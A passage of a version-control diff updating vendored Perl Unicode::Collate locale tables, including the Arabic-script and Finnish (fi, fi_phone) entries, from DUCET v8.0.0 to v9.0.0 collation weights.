-06AE      ; [.22FD.0026.0002] # ARABIC LETTER KAF WITH THREE DOTS BELOW
-0647      ; [.2335.0020.0002][.FFF1.0000.0000] # ARABIC LETTER HEH
-06D5      ; [.2335.0021.0002][.FFF1.0000.0000] # ARABIC LETTER AE
-06C1      ; [.2335.0022.0002][.FFF1.0000.0000] # ARABIC LETTER HEH GOAL
-06C2      ; [.2335.0022.0002][.FFF1.0000.0000][.0000.0083.0002] # ARABIC LETTER HEH GOAL WITH HAMZA ABOVE
-0629      ; [.2335.0023.0002][.FFF1.0000.0000] # ARABIC LETTER TEH MARBUTA
-06C3      ; [.2335.0024.0002][.FFF1.0000.0000] # ARABIC LETTER TEH MARBUTA GOAL
-06C0      ; [.2335.0025.0002][.FFF1.0000.0000] # ARABIC LETTER HEH WITH YEH ABOVE
-06D5 0654 ; [.2335.0025.0002][.FFF1.0000.0000] # ARABIC LETTER HEH WITH YEH ABOVE
-06BE      ; [.2335.0026.0002][.FFF1.0000.0000] # ARABIC LETTER HEH DOACHASHMEE
-06CF      ; [.2335.0020.0002][.FFF0.0000.0000] # ARABIC LETTER WAW WITH DOT ABOVE
-0649      ; [.233B.0021.0002] # ARABIC LETTER ALEF MAKSURA
-06D2      ; [.233B.0022.0002] # ARABIC LETTER YEH BARREE
-06D3      ; [.233B.0022.0002][.0000.0083.0002] # ARABIC LETTER YEH BARREE WITH HAMZA ABOVE
-064A      ; [.233B.0023.0002] # ARABIC LETTER YEH
-06D0      ; [.233B.0024.0002] # ARABIC LETTER E
-06D1      ; [.233B.0025.0002] # ARABIC LETTER YEH WITH THREE DOTS BELOW
-06CD      ; [.233B.0026.0002] # ARABIC LETTER YEH WITH TAIL
-06CE      ; [.233B.0027.0002] # ARABIC LETTER YEH WITH SMALL V
+0622      ; [.230A.0020.0002][.FFF1.0000.0000] # ARABIC LETTER ALEF WITH MADDA ABOVE
+0627 0653 ; [.230A.0020.0002][.FFF1.0000.0000] # ARABIC LETTER ALEF WITH MADDA ABOVE
+08AC      ; [.230A.0020.0002][.FFF0.0000.0000] # ARABIC LETTER ROHINGYA YEH
+0671      ; [.230B.0021.0002] # ARABIC LETTER ALEF WASLA
+0621      ; [.230C.0020.0002][.FFF0.0000.0000] # ARABIC LETTER HAMZA
+0623      ; [.230C.0021.0002][.FFF0.0000.0000] # ARABIC LETTER ALEF WITH HAMZA ABOVE
+0627 0654 ; [.230C.0021.0002][.FFF0.0000.0000] # ARABIC LETTER ALEF WITH HAMZA ABOVE
+0672      ; [.230C.0022.0002][.FFF0.0000.0000] # ARABIC LETTER ALEF WITH WAVY HAMZA ABOVE
+0625      ; [.230C.0023.0002][.FFF0.0000.0000] # ARABIC LETTER ALEF WITH HAMZA BELOW
+0627 0655 ; [.230C.0023.0002][.FFF0.0000.0000] # ARABIC LETTER ALEF WITH HAMZA BELOW
+0673      ; [.230C.0024.0002][.FFF0.0000.0000] # ARABIC LETTER ALEF WITH WAVY HAMZA BELOW
+0624      ; [.230C.0025.0002][.FFF0.0000.0000] # ARABIC LETTER WAW WITH HAMZA ABOVE
+0648 0654 ; [.230C.0025.0002][.FFF0.0000.0000] # ARABIC LETTER WAW WITH HAMZA ABOVE
+06CC 0654 ; [.230C.0026.0002][.FFF0.0000.0000] # <ARABIC LETTER FARSI YEH, ARABIC HAMZA ABOVE>
+0649 0654 ; [.230C.0026.0003][.FFF0.0000.0000] # <ARABIC LETTER ALEF MAKSURA, ARABIC HAMZA ABOVE>
+0626      ; [.230C.0026.0004][.FFF0.0000.0000] # ARABIC LETTER YEH WITH HAMZA ABOVE
+064A 0654 ; [.230C.0026.0004][.FFF0.0000.0000] # ARABIC LETTER YEH WITH HAMZA ABOVE
+066E      ; [.230C.0020.0002][.FFF1.0000.0000] # ARABIC LETTER DOTLESS BEH
+06AA      ; [.2388.0021.0002] # ARABIC LETTER SWASH KAF
+06AB      ; [.2388.0022.0002] # ARABIC LETTER KAF WITH RING
+0643      ; [.2388.0023.0002] # ARABIC LETTER KAF
+06AC      ; [.2388.0024.0002] # ARABIC LETTER KAF WITH DOT ABOVE
+06AD      ; [.2388.0025.0002] # ARABIC LETTER NG
+06AE      ; [.2388.0026.0002] # ARABIC LETTER KAF WITH THREE DOTS BELOW
+0647      ; [.23C1.0020.0002][.FFF1.0000.0000] # ARABIC LETTER HEH
+06D5      ; [.23C1.0021.0002][.FFF1.0000.0000] # ARABIC LETTER AE
+06C1      ; [.23C1.0022.0002][.FFF1.0000.0000] # ARABIC LETTER HEH GOAL
+06C2      ; [.23C1.0022.0002][.FFF1.0000.0000][.0000.0083.0002] # ARABIC LETTER HEH GOAL WITH HAMZA ABOVE
+0629      ; [.23C1.0023.0002][.FFF1.0000.0000] # ARABIC LETTER TEH MARBUTA
+06C3      ; [.23C1.0024.0002][.FFF1.0000.0000] # ARABIC LETTER TEH MARBUTA GOAL
+06C0      ; [.23C1.0025.0002][.FFF1.0000.0000] # ARABIC LETTER HEH WITH YEH ABOVE
+06D5 0654 ; [.23C1.0025.0002][.FFF1.0000.0000] # ARABIC LETTER HEH WITH YEH ABOVE
+06BE      ; [.23C1.0026.0002][.FFF1.0000.0000] # ARABIC LETTER HEH DOACHASHMEE
+06CF      ; [.23C1.0020.0002][.FFF0.0000.0000] # ARABIC LETTER WAW WITH DOT ABOVE
+0649      ; [.23C7.0021.0002] # ARABIC LETTER ALEF MAKSURA
+06D2      ; [.23C7.0022.0002] # ARABIC LETTER YEH BARREE
+06D3      ; [.23C7.0022.0002][.0000.0083.0002] # ARABIC LETTER YEH BARREE WITH HAMZA ABOVE
+064A      ; [.23C7.0023.0002] # ARABIC LETTER YEH
+06D0      ; [.23C7.0024.0002] # ARABIC LETTER E
+06D1      ; [.23C7.0025.0002] # ARABIC LETTER YEH WITH THREE DOTS BELOW
+06CD      ; [.23C7.0026.0002] # ARABIC LETTER YEH WITH TAIL
+06CE      ; [.23C7.0027.0002] # ARABIC LETTER YEH WITH SMALL V
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/fi.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/fi.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/fi.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,65 +1,65 @@
 +{
-   locale_version => 1.19,
+   locale_version => 1.25,
 # in cldr test/fi.xml why x{110}x < xdx though xd < x{110} ?
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0111      ; [.1C0A.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER D WITH STROKE
-0110      ; [.1C0A.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER D WITH STROKE
-01E5      ; [.1C6F.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER G WITH STROKE
-01E4      ; [.1C6F.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER G WITH STROKE
-014B      ; [.1D34.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER ENG
-014A      ; [.1D34.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER ENG
-0167      ; [.1E10.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER T WITH STROKE
-0166      ; [.1E10.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER T WITH STROKE
-0077      ; [.1E5E.0021.0002] # LATIN SMALL LETTER W
-0057      ; [.1E5E.0021.0008] # LATIN CAPITAL LETTER W
-00FC      ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-0075 0308 ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-00DC      ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-0055 0308 ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-01DC      ; [.1E86.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-01DB      ; [.1E86.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-01D8      ; [.1E86.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-01D7      ; [.1E86.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-01D6      ; [.1E86.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-01D5      ; [.1E86.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-01DA      ; [.1E86.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-01D9      ; [.1E86.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-0292      ; [.1E9C.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER EZH
-01B7      ; [.1E9C.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER EZH
-01EF      ; [.1E9C.0021.0002][.0000.0039.0002][.0000.0028.0002] # LATIN SMALL LETTER EZH WITH CARON
-01EE      ; [.1E9C.0021.0008][.0000.0039.0002][.0000.0028.0002] # LATIN CAPITAL LETTER EZH WITH CARON
-00E5      ; [.1F11.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
-0061 030A ; [.1F11.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
-00C5      ; [.1F11.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
-0041 030A ; [.1F11.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
-212B      ; [.1F11.0020.0008] # ANGSTROM SIGN
-01FB      ; [.1F11.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
-01FA      ; [.1F11.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
-00E4      ; [.1F12.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-0061 0308 ; [.1F12.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-00C4      ; [.1F12.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-0041 0308 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-01DF      ; [.1F12.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
-01DE      ; [.1F12.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
-00E6      ; [.1F12.0021.0002] # LATIN SMALL LETTER AE
-1DD4      ; [.1F12.0021.0002] # COMBINING LATIN SMALL LETTER AE
-00C6      ; [.1F12.0021.0008] # LATIN CAPITAL LETTER AE
-1D2D      ; [.1F12.0021.0014] # MODIFIER LETTER CAPITAL AE
-01FD      ; [.1F12.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE
-01FC      ; [.1F12.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE
-01E3      ; [.1F12.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON
-01E2      ; [.1F12.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON
-00F6      ; [.1F13.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-006F 0308 ; [.1F13.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-00D6      ; [.1F13.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-004F 0308 ; [.1F13.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-022B      ; [.1F13.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
-022A      ; [.1F13.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
-00F8      ; [.1F13.0021.0002] # LATIN SMALL LETTER O WITH STROKE
-006F 0338 ; [.1F13.0021.0002] # LATIN SMALL LETTER O WITH STROKE
-00D8      ; [.1F13.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE
-004F 0338 ; [.1F13.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE
-01FF      ; [.1F13.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE
-01FE      ; [.1F13.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0111      ; [.1C8F.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER D WITH STROKE
+0110      ; [.1C8F.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER D WITH STROKE
+01E5      ; [.1CF4.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER G WITH STROKE
+01E4      ; [.1CF4.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER G WITH STROKE
+014B      ; [.1DB9.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER ENG
+014A      ; [.1DB9.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER ENG
+0167      ; [.1E95.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER T WITH STROKE
+0166      ; [.1E95.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER T WITH STROKE
+0077      ; [.1EE3.0021.0002] # LATIN SMALL LETTER W
+0057      ; [.1EE3.0021.0008] # LATIN CAPITAL LETTER W
+00FC      ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+0075 0308 ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+00DC      ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0055 0308 ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+01DC      ; [.1F0B.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB      ; [.1F0B.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+01D8      ; [.1F0B.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7      ; [.1F0B.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+01D6      ; [.1F0B.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5      ; [.1F0B.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+01DA      ; [.1F0B.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9      ; [.1F0B.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+0292      ; [.1F21.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER EZH
+01B7      ; [.1F21.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER EZH
+01EF      ; [.1F21.0021.0002][.0000.0039.0002][.0000.0028.0002] # LATIN SMALL LETTER EZH WITH CARON
+01EE      ; [.1F21.0021.0008][.0000.0039.0002][.0000.0028.0002] # LATIN CAPITAL LETTER EZH WITH CARON
+00E5      ; [.1F96.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
+0061 030A ; [.1F96.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
+00C5      ; [.1F96.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
+0041 030A ; [.1F96.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
+212B      ; [.1F96.0020.0008] # ANGSTROM SIGN
+01FB      ; [.1F96.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
+01FA      ; [.1F96.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
+00E4      ; [.1F97.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+0061 0308 ; [.1F97.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+00C4      ; [.1F97.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+0041 0308 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+01DF      ; [.1F97.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
+01DE      ; [.1F97.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
+00E6      ; [.1F97.0021.0002] # LATIN SMALL LETTER AE
+1DD4      ; [.1F97.0021.0002] # COMBINING LATIN SMALL LETTER AE
+00C6      ; [.1F97.0021.0008] # LATIN CAPITAL LETTER AE
+1D2D      ; [.1F97.0021.0014] # MODIFIER LETTER CAPITAL AE
+01FD      ; [.1F97.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE
+01FC      ; [.1F97.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE
+01E3      ; [.1F97.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON
+01E2      ; [.1F97.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON
+00F6      ; [.1F98.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+006F 0308 ; [.1F98.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+00D6      ; [.1F98.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+004F 0308 ; [.1F98.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+022B      ; [.1F98.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
+022A      ; [.1F98.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
+00F8      ; [.1F98.0021.0002] # LATIN SMALL LETTER O WITH STROKE
+006F 0338 ; [.1F98.0021.0002] # LATIN SMALL LETTER O WITH STROKE
+00D8      ; [.1F98.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE
+004F 0338 ; [.1F98.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE
+01FF      ; [.1F98.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE
+01FE      ; [.1F98.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/fi_phone.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/fi_phone.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/fi_phone.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,63 +1,63 @@
 +{
-   locale_version => 1.19,
+   locale_version => 1.25,
 # in cldr test/fi.xml why x{110}x < xdx though xd < x{110} ?
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0111      ; [.1C0A.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER D WITH STROKE
-0110      ; [.1C0A.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER D WITH STROKE
-01E5      ; [.1C6F.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER G WITH STROKE
-01E4      ; [.1C6F.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER G WITH STROKE
-014B      ; [.1D34.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER ENG
-014A      ; [.1D34.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER ENG
-0167      ; [.1E10.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER T WITH STROKE
-0166      ; [.1E10.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER T WITH STROKE
-00FC      ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-0075 0308 ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-00DC      ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-0055 0308 ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-01DC      ; [.1E86.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-01DB      ; [.1E86.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-01D8      ; [.1E86.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-01D7      ; [.1E86.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-01D6      ; [.1E86.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-01D5      ; [.1E86.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-01DA      ; [.1E86.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-01D9      ; [.1E86.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-0292      ; [.1E9C.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER EZH
-01B7      ; [.1E9C.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER EZH
-01EF      ; [.1E9C.0021.0002][.0000.0039.0002][.0000.0028.0002] # LATIN SMALL LETTER EZH WITH CARON
-01EE      ; [.1E9C.0021.0008][.0000.0039.0002][.0000.0028.0002] # LATIN CAPITAL LETTER EZH WITH CARON
-00E5      ; [.1F11.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
-0061 030A ; [.1F11.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
-00C5      ; [.1F11.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
-0041 030A ; [.1F11.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
-212B      ; [.1F11.0020.0008] # ANGSTROM SIGN
-01FB      ; [.1F11.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
-01FA      ; [.1F11.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
-00E4      ; [.1F12.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-0061 0308 ; [.1F12.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-00C4      ; [.1F12.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-0041 0308 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-01DF      ; [.1F12.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
-01DE      ; [.1F12.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
-00E6      ; [.1F12.0021.0002] # LATIN SMALL LETTER AE
-1DD4      ; [.1F12.0021.0002] # COMBINING LATIN SMALL LETTER AE
-00C6      ; [.1F12.0021.0008] # LATIN CAPITAL LETTER AE
-1D2D      ; [.1F12.0021.0014] # MODIFIER LETTER CAPITAL AE
-01FD      ; [.1F12.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE
-01FC      ; [.1F12.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE
-01E3      ; [.1F12.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON
-01E2      ; [.1F12.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON
-00F6      ; [.1F13.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-006F 0308 ; [.1F13.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-00D6      ; [.1F13.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-004F 0308 ; [.1F13.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-022B      ; [.1F13.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
-022A      ; [.1F13.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
-00F8      ; [.1F13.0021.0002] # LATIN SMALL LETTER O WITH STROKE
-006F 0338 ; [.1F13.0021.0002] # LATIN SMALL LETTER O WITH STROKE
-00D8      ; [.1F13.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE
-004F 0338 ; [.1F13.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE
-01FF      ; [.1F13.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE
-01FE      ; [.1F13.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0111      ; [.1C8F.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER D WITH STROKE
+0110      ; [.1C8F.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER D WITH STROKE
+01E5      ; [.1CF4.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER G WITH STROKE
+01E4      ; [.1CF4.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER G WITH STROKE
+014B      ; [.1DB9.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER ENG
+014A      ; [.1DB9.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER ENG
+0167      ; [.1E95.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER T WITH STROKE
+0166      ; [.1E95.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER T WITH STROKE
+00FC      ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+0075 0308 ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+00DC      ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0055 0308 ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+01DC      ; [.1F0B.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB      ; [.1F0B.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+01D8      ; [.1F0B.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7      ; [.1F0B.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+01D6      ; [.1F0B.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5      ; [.1F0B.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+01DA      ; [.1F0B.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9      ; [.1F0B.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+0292      ; [.1F21.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER EZH
+01B7      ; [.1F21.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER EZH
+01EF      ; [.1F21.0021.0002][.0000.0039.0002][.0000.0028.0002] # LATIN SMALL LETTER EZH WITH CARON
+01EE      ; [.1F21.0021.0008][.0000.0039.0002][.0000.0028.0002] # LATIN CAPITAL LETTER EZH WITH CARON
+00E5      ; [.1F96.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
+0061 030A ; [.1F96.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
+00C5      ; [.1F96.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
+0041 030A ; [.1F96.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
+212B      ; [.1F96.0020.0008] # ANGSTROM SIGN
+01FB      ; [.1F96.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
+01FA      ; [.1F96.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
+00E4      ; [.1F97.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+0061 0308 ; [.1F97.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+00C4      ; [.1F97.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+0041 0308 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+01DF      ; [.1F97.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
+01DE      ; [.1F97.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
+00E6      ; [.1F97.0021.0002] # LATIN SMALL LETTER AE
+1DD4      ; [.1F97.0021.0002] # COMBINING LATIN SMALL LETTER AE
+00C6      ; [.1F97.0021.0008] # LATIN CAPITAL LETTER AE
+1D2D      ; [.1F97.0021.0014] # MODIFIER LETTER CAPITAL AE
+01FD      ; [.1F97.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE
+01FC      ; [.1F97.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE
+01E3      ; [.1F97.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON
+01E2      ; [.1F97.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON
+00F6      ; [.1F98.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+006F 0308 ; [.1F98.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+00D6      ; [.1F98.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
